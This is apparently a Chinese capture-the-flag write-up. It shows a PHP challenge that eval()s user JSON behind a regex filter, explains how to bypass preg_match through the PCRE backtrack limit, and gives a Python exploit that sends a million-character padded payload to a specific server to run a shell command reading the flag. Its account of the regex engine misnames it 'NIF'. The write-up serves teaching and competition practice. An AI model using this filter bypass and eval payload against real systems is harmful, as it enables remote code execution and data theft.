<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
这里使用的是正则匹配的NIF匹配引擎
这个匹配引擎的原理是基于从后往前回溯的匹配机制
NIF匹配机制
当preg_match这个函数进行匹配时是匹配完后才根据匹配到与否来返回bool值
如果匹配到也要匹配完后才返回true,而且在匹配过程中
要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。哪这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*
这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值
如:
要匹配的字符有.*和a 匹配asd这串字符串
1.第一个是.*匹配任意字符都成功所以匹配了asd
2.到a这个字符从后面往前回溯匹配,先吐出一个d但匹配不上,继续吐出一个s,sd还是与a匹配不上
3.直到吐出a,asd就匹配上了a
这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次
当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配
利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可
等匹配超过这个次数时我们的语句自然就可以逃逸掉了
所有的讲解都是我对p神的文章的理解
PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
所有就可以写payload
import requests
url = 'http://1.14.71.254:28288/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)
总结
NIF----.*匹配字符造成的回溯匹配漏洞
参考: